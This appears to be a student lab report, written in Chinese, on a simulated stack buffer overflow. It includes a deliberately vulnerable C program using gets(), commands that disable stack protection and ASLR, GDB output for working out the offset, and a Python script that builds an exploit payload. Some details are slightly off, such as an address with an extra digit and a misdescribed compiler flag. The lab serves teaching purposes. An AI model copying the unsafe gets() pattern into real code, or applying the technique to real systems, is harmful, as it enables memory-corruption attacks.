### 模拟栈溢出攻击 实验报告

### C语言受害程序

```
1 #include <stdio.h>
2
   #include <stdlib.h>
3
4 void attack_function() {
5
       printf("Attack success!\n");
6 }
7
   void vulnerable_function() {
8
        char buffer[64];
9
        printf("input: ");
        gets(buffer); // 这是一个不安全的函数
10
        printf("output: %s\n", buffer);
11
12
   }
13
14 | int main() {
15
       vulnerable_function();
       return 0;
16
17
   }
```

vulnerable\_function: 受害者程序, 包含不安全的 gets 函数,

attack\_function: 目标函数

# 关闭内存防御方案(ASLR、Stack Canary等)的条件下编译受害程序

使用指令 gcc -std=c++11 -fno-stack-protector -z noexecstack -o vulnerable\_program main.cpp -g 编译程序, 其中 -z noexecstack 和 -fno-stack-protector 关闭了栈保护机制, 再用指令 sudo bash -c 'echo 0 > /proc/sys/kernel/randomize\_va\_space' 关闭栈随机化保护。

## 利用GDB观察受害函数的地址,并计算覆盖栈帧返回地址需要的"偏移量"

```
1 (qdb) info frame
    Stack level 0, frame at 0x7fffffffd4a0:
    rip = 0x555555551ac in vulnerable_function (main.cpp:9); saved rip =
    0x555555551f1
    called by frame at 0x7fffffffd4b0
    source language c++.
    Arglist at 0x7fffffffd448, args:
6
7
    Locals at 0x7fffffffd448, Previous frame's sp is 0x7fffffffd4a0
8
     Saved registers:
9
     rbp at 0x7fffffffd490, rip at 0x7fffffffd498
10
11
    (gdb) info register rbp
                 0x7fffffffd490 0x7fffffffd490
12
13
    (gdb) info register rsp
                 0x7fffffffd450 0x7fffffffd450
14
    rsp
```

在函数中打断点调试可以看到,rbp和rsp地址相差 64,而要覆盖返回地址,还需要加上rbp本身的8位,因此偏移量为72,受害者函数 attack\_function 地址为 0x555555555189

### 编写恶意程序,构造非法输入

我使用了一个简单的python脚本来构造恶意输入

```
address = 0x00005555555555189
payload_size = 64 # 根据缓冲区大小设置
padding = b'A' * payload_size + b'B' * 8 # 创建填充
address_bytes = address.to_bytes(8, byteorder='little') # 将地址转换为小端字节序

with open("exploit.bin", "wb") as f:
f.write(padding) # 写入填充
f.write(address_bytes) # 写入地址
```

运行 python3 attack.py 可以将带有恶意攻击地址的二进制流输入到 exploit.bin 中

### 执行恶意程序,恶意执行目标函数

可以看到,返回地址被成功覆盖,输出 "Attack success" 字样